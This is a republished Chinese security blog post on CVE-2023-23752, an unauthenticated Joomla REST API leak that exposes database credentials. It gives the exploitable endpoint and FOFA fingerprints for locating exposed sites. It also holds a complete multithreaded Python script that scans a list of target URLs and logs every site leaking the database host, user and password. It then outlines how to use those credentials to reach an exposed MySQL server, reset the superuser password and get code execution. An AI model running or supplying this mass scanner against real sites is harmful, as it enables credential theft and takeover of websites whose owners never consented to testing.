[附下载 ] Joomla未授权访问漏洞到代码执行
2023-6-25 08:2:41 Author: 网络安全自修室(查看原文) 阅读量:41 收藏

点击上方蓝字关注我们

1
免责声明

      本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,遵守国家相关法律法规,请勿用于违法用途如果您对文章内容有疑问,可以尝试加入交流群讨论或留言私信,如有侵权请联系小编处理。

2
内容速览

Joomla是一套全球知名的内容管理系统(CMS),其使用PHP语言加上MySQL数据库所开发,可以在Linux、Windows、MacOSX等各种不同的平台上运行。

2月16日,Joomla官方发布安全公告,修复了Joomla! CMS中的一个未授权访问漏洞(CVE-2023-23752),目前该漏洞的细节及PoC/EXP已公开。

漏洞介绍

在 Joomla! 版本为4.0.0 到 4.2.7中发现了一个漏洞,在Joomla受影响的版本中由于对Web服务端点的访问限制不当,远程攻击者可以绕过安全限制获得Web应用程序敏感信息。

Joomla! CMS 版本4.0.0-4.2.7中 由于对web 服务端点访问限制不当,可能导致未授权访问Rest API,造成敏感信息泄露(如数据库账号密码等)。

受影响版本

4.0.0 <= Joomla <= 4.2.7

不受影响版本Joomla >= 4.2.8

Joomla 3及以下版本均不受该漏洞影响

漏洞详情

在Joomla受影响的版本中由于对Web服务端点的访问限制不当,远程攻击者可以绕过安全限制获得Web应用程序敏感信息。

未授权路径在:

/api/index.php/v1/config/application?public=true

我们可以直接看到数据库的配置信息。

image.png

漏洞复现

FOFA指纹

product="Joomla"
image.png

或者

body="Joomla! 4?"

工具介绍

这里话不多说,直接给上批量POC给大家玩。


from queue import Queue
from threading import Thread, Lock

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

BASE_URL = "/api/index.php/v1/config/application?public=true"

def write_Result(url):
with open("resuslt.txt", "a", encoding="utf-8") as f:
f.write(url + "\n")

def ReadFile(fQueue: Queue):
# self.file = 要读取的文本
# 当前测试为静态路径
with open(r"text.txt", 'r', encoding='utf-8') as file:
for file in file.readlines():
f = file.replace("\n", '') + BASE_URL
fQueue.put(f)

class A(Thread):
def __init__(self, a):
super(A, self).__init__()
self.queue = a
self.setDaemon(True)

def run(self) -> None:
try:
# print(url)
response = requests.get(self.queue, verify=False)
# print("URL:{} STATUS:{}".format(response.url, response.status_code))
if response.status_code == 200 and response.text.find("host") != -1 and response.text.find("user") != -1 and response.text.find("password") != -1:
write_Result(self.queue)
print("URL:{} STATUS:{}".format(response.url, response.status_code))
except Exception as e:
pass

q = Queue()
ReadFile(q)
while True:
url = q.get()
A(url).start()
if q.empty():
break

缺依赖的话自行导入即可使用,使用命令:

python poc.py # 同级目录下把源地址放到text.txt即可,自用写死了

结果会生成result.txt在目录下:

结果是写入的漏洞地址:

但这里推荐一款使用python编写的验证工具,也可以批量验证该漏洞

工具下载地址,见文章底部

代码执行思路

根据面向互联网的 Joomla! 版本,我们认为此漏洞虽然危险,但从来都不是一个大问题(至少没有接近Drupelgaddon )

要知道我们的测试 MySQL 服务器已绑定到127.0.0.1,因此远程攻击者无法访问该服务器,从而使凭据几乎毫无用处。

将 MySQL 绑定到 localhost 应该是最常见的配置,它严格限制了这种凭证泄漏。

然而,似乎有大量面向互联网的 Joomla! 使用未_绑定_到127.0.0.1. Censys 显示了数千个 Joomla! 服务器与暴露的 MySQL 服务器位于同一位置。

image.png

拥有 MySQL 服务器凭据的攻击者不会自动执行任意代码。操纵本地文件的旧 MySQL攻击技术在任何现代和/或配置合理的服务器上应该无法使用但对 MySQL 服务器的访问仍应提供代码执行的路径。

访问数据库允许攻击者更改 Joomla! 超级用户的密码。甚至记录了如何仅使用数据库访问来完成此操作

修复意见

目前该漏洞已经修复,受影响用户可及时升级到Joomla! CMS 版本4.2.8。

3
获取方式
工具获取

关注公众号,回复如下消息获取

口令:CVE-2023-23752

如果想要系统学习网络安全技术

不妨加入知识星球课程《60天入门网络安全渗透测试》

从入门到案例,贴合实战

轻松易懂、好玩实用

限时领取

超值 | 一起学网络安全! 授人以鱼不如授人以渔!

知识星球优惠券

跟着60天路线(点我查看)一起学

期待你的到来!

往期推荐

从入门到入狱的技术,可以学,别乱用!

网络安全学习方向和资源整理(建议收藏)

一个web安全工程师的基础学习规划

资源 | 渗透测试工程师入门教程(限时领取)

5年老鸟推荐10个玩Python必备的网站

推荐十个成为网络安全渗透测试大佬的学习必备网站!

那些社工师不为人知的秘密。。。

更多内容请关注公众号
网络安全自修室
回复:”网络安全入门教程“,领取系统网络安全学习教程!

点个在看你最好看


文章来源: http://mp.weixin.qq.com/s?__biz=MzI0NDYxMzk1Mg==&mid=2247498982&idx=1&sn=64c556c5f4df8ac03f46aff50488ae5a&chksm=e959aac9de2e23df7c81b4899f85df8d21def413bbdf2297376da8379031e6cad66db09eec49#rd
如有侵权请联系:admin#unsafe.sh